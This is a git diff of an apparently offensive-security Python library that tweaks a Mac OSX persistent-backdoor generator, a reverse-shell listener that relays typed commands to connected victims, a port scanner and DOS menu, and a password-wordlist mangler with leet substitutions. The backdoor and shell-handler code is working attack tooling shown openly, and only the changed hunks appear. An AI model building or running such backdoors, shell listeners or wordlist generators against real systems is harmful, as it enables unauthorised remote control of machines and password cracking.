1919OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
2020
2121import socket , httplib , threading , time , urllib2 , os
22- import logging
2322from Queue import Queue
24- logging .getLogger ("scapy.runtime" ).setLevel (logging .ERROR ) # Fixes scapy logging error
25- try : from scapy .all import *
26- except : raise MissingPackageException ('Please install scapy to continue.' )
23+ try : # Import scapy if they have it. If they don't, they can still use hacklib
24+ from scapy .all import *
25+ import logging
26+ logging .getLogger ("scapy.runtime" ).setLevel (logging .ERROR ) # Fixes scapy logging error
27+ except : pass
2728from string import ascii_uppercase , ascii_lowercase , digits # Import for PatternCreate and PatternOffset
2829
2930class Backdoor (object ):
30- '''Creates a persistent backdoor payload. Currently only for Mac OSX.
31+ '''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX.
3132 Payloads for Windows and Linux coming soon.'''
3233
3334 def __init__ (self ):
@@ -81,7 +82,7 @@ class Server(object):
8182 def __init__ (self , port ):
8283 import socket
8384 self .port = port
84- self .address = (socket . gethostname () , port )
85+ self .address = ('' , port )
8586
8687 def listen (self ):
8788 import time
@@ -92,12 +93,11 @@ def listen(self):
9293 connection , cAddress = sock .accept ()
9394 try :
9495 print 'New connection' , cAddress
95- connection .sendall ('whoami\n ' )
9696 while True :
9797 data = connection .recv (32768 )
9898 if data :
9999 print '\n ' .join (data .split ('\n ' )[:- 1 ])
100- response = raw_input (data . split ( ' \n ' )[ - 1 ] )
100+ response = raw_input ('bash$ ' )
101101 data = None
102102 if response :
103103 connection .sendall (response + '\n ' )
@@ -616,7 +616,7 @@ def uiPortScan(address):
616616 if cmd == '2' :
617617 s_port = raw_input ('Input starting port > ' )
618618 e_port = raw_input ('Input end port >' )
619- ps .scan (address , (s_port , e_port ))
619+ ps .scan (address , (int ( s_port ), int ( e_port ) ))
620620 print 'Port scan complete.'
621621
622622def uiDOS (address ):
@@ -843,10 +843,10 @@ class Mangle:
843843
844844 def __init__ (self , text , num1 , num2 , year1 , year2 ):
845845
846- self .num1 = num1
847- self .num2 = num2 + 1
848- self .year1 = year1
849- self .year2 = year2 + 1
846+ self .num1 = num1
847+ self .num2 = num2
848+ self .year1 = year1
849+ self .year2 = year2
850850 self .text = text
851851
852852
@@ -925,14 +925,14 @@ def CapandYears(self):
925925 def Leet (self ):
926926
927927 for x in self .text .split ():
928- print x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" )
928+ print x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" )
929929
930930
931931
932932 def LeetCap (self ):
933933
934934 for x in self .text .split ():
935- print x .capitalize ().replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" )
935+ print x .capitalize ().replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" )
936936
937937
938938
@@ -942,8 +942,8 @@ def LeetYears(self):
942942
943943 for i in range (self .year1 , self .year2 ):
944944
945- print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) , i )
946- print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) )
945+ print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ), i )
946+ print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ))
947947
948948
949949 def LeetNumbers (self ):
@@ -952,15 +952,15 @@ def LeetNumbers(self):
952952
953953 for i in range (self .num1 , self .num2 ):
954954
955- print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) , i )
956- print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) )
955+ print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ), i )
956+ print ("%s" + "%s" ) % (i , x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ))
957957
958958
959959 def UniqueLeet (self ):
960960
961961 for x in self .text .split ():
962962
963- print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ),(x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ). replace ( "s" , "$" ). replace ( "S" , "$" ) ))
963+ print ("%s" + "%s" ) % (x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" ),(x .replace ("e" , "3" ).replace ("i" , "1" ).replace ("O" , "0" ).replace ("I" , "1" ).replace ("E" , "3" ).replace ("o" , "0" ).replace ("l" , "1" ).replace ("L" , "1" ).replace ("g" , "9" ).replace ("G" , "6" ).replace ("b" , "8" ).replace ("B" , "8" )))
964964
965965
966966
@@ -1005,7 +1005,6 @@ def ReverseUnique(self):
10051005
10061006 print x [::- 1 ] + x [::- 1 ]
10071007
1008-
10091008'''
10101009This Classes Dectects Probe Requests from Wireless Devices.
10111010
0 commit comments